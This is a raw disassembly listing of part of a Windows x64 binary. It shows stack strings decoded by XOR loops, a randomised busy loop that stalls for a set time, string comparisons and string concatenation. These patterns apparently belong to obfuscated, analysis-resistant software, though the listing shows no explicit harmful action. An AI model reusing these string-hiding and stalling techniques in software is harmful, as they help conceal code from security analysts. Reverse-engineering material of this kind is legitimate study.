movups xmmword [rsp + 0xf88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xf98], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0xa90]
call fcn.140248aa0
movzx eax, word [0x14027d198]
mov word [rsp + 0x78], ax
cmp byte [0x14027d199], 0
je 0x140230442
mov byte [rsp + 0x78], 0x2e
xor byte [rsp + 0x79], 0x42
lea rax, [rsp + 0x78]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140230450
mov rax, rbx
mov rdx, qword [rsp + 0xeb8]
sub rax, rdx
cmp rax, rcx
jb 0x14023bdb6
lea r9, [rsp + 0xea8]
cmp qword [rsp + 0xec0], 0xf
cmova r9, qword [rsp + 0xea8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xa30]
call fcn.14024dd60
nop
lea rdx, [rsp + 0xf08]
cmp qword [rsp + 0xf20], 0xf
cmova rdx, qword [rsp + 0xf08]
mov r8, qword [rsp + 0xf18]
lea rcx, [rsp + 0xa30]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0xfa8], xmm0
mov qword [rsp + 0xfb8], rsi
mov qword [rsp + 0xfc0], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xfa8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xfb8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0xa30]
call fcn.140248aa0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x3ad4], 0xffffffff
mov dword [rsp + 0x2754], eax
mov rdx, r15
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x2754], eax
inc rdx
cmp rdx, 0x270
jb 0x140230550
mov dword [rsp + 0x2750], 0x270
mov dword [rsp + 0x70], esi
lea rcx, [rsp + 0xd30]
call fcn.1401f2240
mov rbx, qword [rsp + 0xd30]
add rbx, 0x5f5e100
mov qword [rsp + 0xd30], rbx
nop word [rax + rax]
lea rcx, [rsp + 0x8b8]
call fcn.1401f2240
cmp qword [rax], rbx
jge 0x140230740
mov r15d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x2750]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023060b
nop dword [rax + rax]
lea rcx, [rsp + 0x2750]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402305f0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
mov eax, 1
cmove ebx, eax
lea rcx, [rsp + 0x2750]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023065b
nop
lea rcx, [rsp + 0x2750]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140230640
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x70]
add eax, ecx
mov dword [rsp + 0x70], eax
lea rcx, [rsp + 0x2750]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402306ab
nop
lea rcx, [rsp + 0x2750]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140230690
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x70]
imul eax, ecx
mov dword [rsp + 0x70], eax
lea rcx, [rsp + 0x2750]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402306fb
nop
lea rcx, [rsp + 0x2750]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402306e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x70]
sub eax, ecx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], edx
sub r15, 1
jne 0x1402305d0
mov rbx, qword [rsp + 0xd30]
jmp 0x1402305b0
mov eax, dword [rsp + 0x70]
cmp qword [rsp + 0xf38], 3
jbe 0x140230766
lea rdx, [rsp + 0xf28]
lea rcx, [rsp + 0xf28]
call fcn.140247140
jmp 0x1402307a3
movzx eax, word [0x14027cdd8]
mov word [rsp + 0x9c], ax
cmp byte [0x14027cdd9], 0
je 0x14023078e
mov byte [rsp + 0x9c], 0x78
xor byte [rsp + 0x9d], 0x42
lea rdx, [rsp + 0x9c]
lea rcx, [rsp + 0xf28]
call fcn.140247120
mov eax, dword [0x14027d920]
mov dword [rsp + 0x84], eax
movzx eax, word [0x14027d924]
mov word [rsp + 0x88], ax
mov byte [rsp + 0x84], 0x43
xor byte [rsp + 0x85], 0x42
xor byte [rsp + 0x86], 0x44
xor byte [rsp + 0x87], 0x46
xor byte [rsp + 0x88], 0x48
xor byte [rsp + 0x89], 0x4a
lea rcx, [rsp + 0x84]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140230800
lea rcx, [rsp + 0xe18]
cmp qword [rsp + 0xe30], 0xf
cmova rcx, qword [rsp + 0xe18]
mov r8, qword [rsp + 0xe28]
cmp r8, rax
jne 0x140230845
lea rdx, [rsp + 0x84]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140230b83
mov eax, dword [0x14027df18]
mov dword [rsp + 0x150], eax
movzx eax, byte [0x14027df1c]
mov byte [rsp + 0x150], 0x4e
xor byte [rsp + 0x151], 0x42
xor byte [rsp + 0x152], 0x44
xor byte [rsp + 0x153], 0x46
xor al, 0x48
mov byte [rsp + 0x154], al
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0xe18]
call fcn.14024a150
test al, al
jne 0x140230b83
mov eax, dword [0x14027ce28]
mov dword [rsp + 0x19c], eax
cmp byte [0x14027ce2b], 0
je 0x1402309c5
mov r9d, esi
cmp r12d, 2
jl 0x140230975
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm15
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x19c], xmm2
jmp 0x1402309c5
lea r10, [rsp + 0x19c]
nop dword [rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140230980
lea rdx, [rsp + 0x19c]
lea rcx, [rsp + 0xe18]
call fcn.14024a150
test al, al
jne 0x140230b83
mov eax, dword [0x14027e13c]
mov dword [rsp + 0x158], eax
movzx eax, byte [0x14027e140]
mov byte [rsp + 0x158], 0x42
xor byte [rsp + 0x159], 0x42
xor byte [rsp + 0x15a], 0x44
xor byte [rsp + 0x15b], 0x46
xor al, 0x48
mov byte [rsp + 0x15c], al
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0xe18]
call fcn.14024a150
test al, al
jne 0x140230b75
mov eax, dword [0x14027d5c4]
mov dword [rsp + 0x1f4], eax
cmp byte [0x14027d5c7], 0
je 0x140230b75
mov r9d, esi
cmp r12d, 2
jl 0x140230b1e
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm15
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x1f4], xmm2
movdqa xmm15, xmmword [0x1402805d0]
jmp 0x140231902
lea r10, [rsp + 0x1f4]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140230b30
movdqa xmm15, xmmword [0x1402805d0]
jmp 0x140231902
movups xmm0, xmmword [0x14027da28]
movups xmmword [rsp + 0x598], xmm0
movups xmm1, xmmword [0x14027da38]
movups xmmword [rsp + 0x5a8], xmm1
mov eax, dword [0x14027da48]
mov dword [rsp + 0x5b8], eax
movzx eax, byte [0x14027da4c]
mov byte [rsp + 0x5bc], al
mov r9d, esi
cmp r12d, 2
jl 0x140230d6d
movdqa xmmword [rsp + 0xd30], xmm15
lea rcx, [rsp + 0x59c]
mov edx, dword [rsp + 0xd30]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140230bf0
cmp r9d, 0x25
jge 0x140230dcc
movsxd rax, r9d
lea r10, [rsp + 0x598]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x25
jl 0x140230d80
mov eax, dword [str._o4fH]
mov dword [rsp + 0xa0], eax
movzx eax, byte [0x14027e9ac]
mov byte [rsp + 0xa0], 0x20
xor byte [rsp + 0xa1], 0x42
xor byte [rsp + 0xa2], 0x44
xor byte [rsp + 0xa3], 0x46
xor al, 0x48
mov byte [rsp + 0xa4], al
mov eax, dword [0x14027ee6c]
mov dword [rsp + 0xe0], eax
movzx eax, byte [0x14027ee70]
mov byte [rsp + 0xe0], 0x20
xor byte [rsp + 0xe1], 0x42
xor byte [rsp + 0xe2], 0x44
xor byte [rsp + 0xe3], 0x46
xor al, 0x48
mov byte [rsp + 0xe4], al
movups xmm4, xmmword [str._of_____9_9_dOMd]
movups xmmword [rsp + 0x258], xmm4
movzx eax, word [0x14027f7b0]
mov word [rsp + 0x268], ax
movzx eax, byte [0x14027f7b2]
mov byte [rsp + 0x26a], al
mov r9d, esi
cmp r12d, 2
jl 0x140231168
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm15
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x258], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x25c]
xorps xmm2, xmm1
movd dword [rsp + 0x25c], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x260]
xorps xmm2, xmm1
movd dword [rsp + 0x260], xmm2
movdqa xmm15, xmmword [0x1402805d0]
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x264]
xorps xmm2, xmm1
movd dword [rsp + 0x264], xmm2
mov r9d, 0x10
jmp 0x140231171
movdqa xmm15, xmmword [0x1402805d0]
mov eax, r9d
lea r10, [rsp + 0x258]
add r10, rax
nop
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x13
jl 0x140231180
movsd xmm0, qword [str.md____ry_xZ]
movsd qword [rsp + 0x228], xmm0
mov ecx, dword [0x14027dd48]
mov dword [rsp + 0x230], ecx
movzx eax, word [0x14027dd4c]
mov word [rsp + 0x234], ax
cmp byte [0x14027dd4d], 0
je 0x14023149c
mov r9d, esi
cmp r12d, 2
jl 0x140231439
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [rsp + 0xd70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.md____ry_xZ]
xorps xmm2, xmm0
movd dword [rsp + 0x228], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x22c]
xorps xmm2, xmm1
movd dword [rsp + 0x22c], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x230], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0x228]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140231450
lea rax, [rsp + 0x228]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1402314b0
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xda0]
sub rax, rdx
cmp rax, rcx
jb 0x14023bdbc
lea rax, [rsp + 0xd90]
cmp qword [rsp + 0xda8], 0xf
cmova rax, qword [rsp + 0xd90]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x228]
lea rcx, [rsp + 0xa70]
call fcn.14024dd60
nop
lea rax, [rsp + 0x258]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140231525
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0xa70]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x858], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x868], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x858], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x868], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xf88]
cmp qword [rsp + 0xfa0], 0xf
cmova rdx, qword [rsp + 0xf88]
mov r8, qword [rsp + 0xf98]
lea rcx, [rsp + 0x858]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x838], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x848], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x838], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x848], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0xe0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140231600
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x838]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x818], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x828], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x818], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x828], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xfa8]
cmp qword [rsp + 0xfc0], 0xf
cmova rdx, qword [rsp + 0xfa8]
mov r8, qword [rsp + 0xfb8]
lea rcx, [rsp + 0x818]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x808], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x7f8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x808], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0xa0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402316e0
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x7f8]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x7e8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x7d8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x7e8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xf28]
cmp qword [rsp + 0xf40], 0xf
cmova rdx, qword [rsp + 0xf28]
mov r8, qword [rsp + 0xf38]
lea rcx, [rsp + 0x7d8]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x7c8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x7b8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x7c8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0x598]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402317c0
lea rdx, [rsp + 0x598]
lea rcx, [rsp + 0x7b8]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x458], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x468], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x458], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x468], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0xe68]
cmp rdx, 0xf
jbe 0x140231862
inc rdx
mov rcx, qword [rsp + 0xe50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14023185d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14023185d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14026da10
movups xmm0, xmmword [rsp + 0x458]
movups xmmword [rsp + 0xe50], xmm0
movups xmm1, xmmword [rsp + 0x468]
movups xmmword [rsp + 0xe60], xmm1
movdqu xmmword [rsp + 0x468], xmm6
mov byte [rsp + 0x458], 0
lea rcx, [rsp + 0x458]
